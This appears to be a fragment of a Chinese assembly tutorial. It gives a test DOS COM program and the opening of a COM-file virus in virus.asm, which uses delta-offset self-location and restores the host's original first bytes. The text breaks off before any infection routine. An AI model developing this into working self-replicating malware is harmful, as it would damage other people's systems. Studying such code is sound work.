.model tiny
program segment
assume cs:program,ds:program,ss:program,es:program
org 0100h
main proc near
MOV DX,offset message
MOV AH,09h
INT 21h
MOV AH,4Ch ;调用DOS中断4C号功能(返回操作系统)
INT 21h
RET
message db 0dh,'This a simple com program for a test',0dh,0ah,'$'
program ends
END
代码virus.asm:
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址 得到vstart的的绝对地址
MOV BP,SI ;保存当前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串 动态定位
MOV DX,SI
INT 21h
POP SI //恢复绝对地址
ADD SI,OFFSET yuan4byte-OFFSET vstart ;恢复原程序中的前四个字节
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;开始复制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI